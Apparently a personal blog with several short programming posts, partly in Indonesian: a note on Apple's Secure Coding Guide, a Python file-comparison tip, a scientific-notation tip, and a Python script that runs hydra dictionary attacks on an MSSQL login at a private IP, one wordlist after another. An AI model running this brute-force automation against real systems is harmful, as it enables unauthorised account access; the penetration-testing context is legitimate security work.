Secure Coding Guide from Apple

Jiyah. Tulisannya jadi berbahasa Inggris. Bagaimana kalau ditulis dalam Bahasa Indonesia? Panduan Menulis Kode Aman dari Apple.

Belum lama ini Apple baru saja merilis Secure Coding Guide. Dokumen ini bisa diakses dalam format HTML atau PDF.

Saya mengetahui dari salah seorang rekan saya, yang menulis hal ini pada status di Facebook. Maklum saya bukan pembaca setia hackernews atau reddit. Saya butuh melakukan diet informasi. Ada saran?

Panduan ini menjelaskan macam-macam dari security vulnerabilities. Singkat, padat namun jelas. Di bagian awal dokumen ini, dijelaskan apa itu hackers, crackers, script kiddies. Nah bagian ini yang paling saya suka:

Most attackers are not highly skilled, but take advantage of published exploit code and known techniques to do their damage

Biarpun ditulis oleh Apple, panduan ini tidak spesifik untuk aplikasi Apple. Dari dokumen ini saya jadi tahu ada materi dari David Wheeler tentang bagaimana membuat secure software. Hebatnya, David Wheeler sudah menulis/mengajar materi ini sejak tahun 2004. Lalu, bagaimana mendesain aplikasi web yang aman, dalam dokumen ini disebutkan OWASP.

Membandingkan 2 File di Python

Saya ingin membandingkan 2 file. Saya butuh jawaban TRUE/FALSE dari operasi perbandingan ini. Awalnya, saya berpikir untuk melakukan perbandingan layaknya membandingkan 2 string saja. Saya coba. Ternyata hasilnya tetap FALSE biarpun dua file yang saya bandingkan ini sama.

Sigh.

Hingga kemudian saya menemukan modul filecmp. Dokumentasi filecmp dapat dilihat di situs python.org.

Sekarang saya cukup memanggil dua path file yang ingin saya bandingkan.

#!/usr/bin/python

import filecmp

filecmp.cmp('/tmp/1.txt', '/tmp/2.txt')

Voila!

Hydra Python Script

To crack passwords, I have a lot of dictionaries. I use hydra to perform dictionary attack. Since these dictionaries aren’t in a single file, I should execute hydra one-by-one to perform dictionary attack using my collection of dictionaries.

I created a python script to automate this task, so I don’t have to enter one-by-one for each dictionary file. I would need os module to access the dictionary file and also subprocess module to execute hydra.

import os
from subprocess import call

First, create a function to get the full path of the dictionaries location

def listdir_fullpath(d):
    return [os.path.join(d, f) for f in os.listdir(d)]

Then create the main function

def main():
    wordlists = listdir_fullpath("/home/za/tools/wordlist")
    for wordlist in wordlists:
        print 'in progress using %s wordlist' % wordlist
        call(['hydra', '-l', 'admin', '-P', wordlist, '192.168.0.1', 'mssql', '-v', '-t', '128'])

    print 'done'

And as usual, the boilerplate

if __name__ == '__main__':
    main()

For improvements:

  • create a separate function to execute hydra
  • use argparse module to put the variables

Scientific Number with Python

When performing penetration testing project, we will meet numbers. Many numbers. So many numbers. Either numbers as time or numbers as combination. You may crack passwords but how much time you need to crack it? It may take only minutes but it may only take years.

This one might be difficult. We must count how many zeros to know how big is this number.

1000000

Our brain process faster if we divide every kilos from numbers

1.000.000

So we could conclude that this is one million. If the number is small, we could easily put the dots in every kilos.

Let’s start with a bigger number. If you see this combination, can you conclude how big is this number?

887669887897899887987988999875556333322

You might try to divide every kilos of it, but you better don’t. Let Python solves it.

a = 887669887897899887987988999875556333322

print '%e' % a
8.876699e+38

Voila!

If you haven’t understand what scientific number is, this is the simple example:

z = 1000000

print '%e' % z
1.000000e+06

You may omit zeros after the dot.